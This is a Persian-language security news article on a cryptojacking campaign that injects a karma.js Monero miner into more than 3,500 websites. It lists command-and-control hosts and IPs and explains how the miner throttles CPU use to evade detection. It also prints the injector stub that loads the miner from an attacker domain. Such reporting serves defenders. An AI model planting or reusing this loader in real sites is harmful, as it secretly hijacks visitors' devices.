یک کمپین مخفی استخراج Monero با بهرهگیری از فایل جاوااسکریپت بهظاهر بیضرری به نام karma.js
، موفق به آلودهسازی بیش از ۳۵۰۰ وبسایت شده است.
این عملیات با استفاده از فناوریهای WebAssembly، Web Workers و WebSockets اقدام به مصرف منابع CPU میکند؛ آن هم بهشکلی که مصرف منابع آنقدر پایین نگه داشته میشود که کاربران به راحتی متوجه آلودگی نمیشوند.
تحلیلگران تیم امنیتی Cside.dev نخستینبار با این تهدید مواجه شدند؛ زمانیکه خزندههای خودکارشان یک اسکریپت مبهم را شناسایی کردند که از دامنه trustisimportant.fun
ارائه میشد و بلافاصله به yobox.store
ریدایرکت میکرد.
در ابتدا، این اسکریپت هیچگونه تماس شبکهای یا افزایش بار CPU نداشت، اما تحلیلهای رفتاری آن را بهعنوان کد مخرب شناسایی کردند و باعث انجام بررسیهای عمیقتر شد.
تحلیل فنی بدافزار
در فرآیند مهندسی معکوس مشخص شد که کد مخرب شامل یک کانال command-and-control از طریق WebSocket با آدرس wss://lokilokitwo.de:10006
است و همچنین از IPهای جایگزین ۸۹.۵۸.۱۴.۲۵۱
و ۱۰۴.۲۱.۸۰.۱
استفاده میکند. این زیرساختها پیشتر با گروههای سرقت کارت Magecart نیز مرتبط بودند.
این استخراجکننده رمزارز با تقسیم پردازشها درون تردهای پسزمینه (background threads) و کاهش شدت هشینگ، تأثیر عملکردی کمی دارد و حتی روی دستگاههای موبایل نیز قابل پنهانسازی است.
این کمپین نشاندهنده بازگشت استخراج رمزارز از طریق مرورگر است؛ حملاتی که پس از توقف پروژه Coinhive در سال ۲۰۱۹ تقریباً منقرض شده بودند اما اکنون با روشهای جدیدی بازگشتهاند که میتوانند لیستهای سیاه ad-blockerها و مکانیزمهای دفاعی مرورگر را دور بزنند.
مکانیزم آلودگی مخفی
آلودگی از طریق درج یک خط داده URI به یک صفحه وب معتبر آغاز میشود. این خط معمولاً از طریق ابزارکهای (widgets) آلوده شخص ثالث یا افزونههای قدیمی CMS به سایت تزریق میشود.
پس از اجرا، این کد stub، ماینر واقعی را بهصورت پویا بارگذاری کرده، یک شناسه تصادفی برای عنصر اسکریپت اختصاص میدهد تا از شناسایی تکراری جلوگیری کند و یک handler از نوع onload
تعریف میکند که تابع EverythingIsLife()
را اجرا میکند.
نمونه کد آلودهکننده:
(function(d,s,id){
if(d.getElementById(id)) return;
const js=d.createElement(s);js.id=id;
js.src='https://trustisimportant.fun/karma/karma.js?karma=bs';
d.getElementsByTagName(s)[0].parentNode.insertBefore(js, s);
})(document,'script','backup-jss');
درون فایل karma.js
، یک قابلیتسنج (probe) مقدار navigator.hardwareConcurrency
و پشتیبانی از WebAssembly را بررسی میکند. سپس چندین worker ایجاد میشوند که هشها را از طریق WebSocket دریافت کرده و نتایج را در زمان تقریباً واقعی (real-time) ارسال میکنند.
با محدودسازی مصرف CPU به حدود ۲۰ درصد، آلودگی بهسختی قابلتشخیص است و نیاز به دفاعهای runtime و کنترل جامع بر تمام اسکریپتهای بارگذاریشده احساس میشود.
یک نظر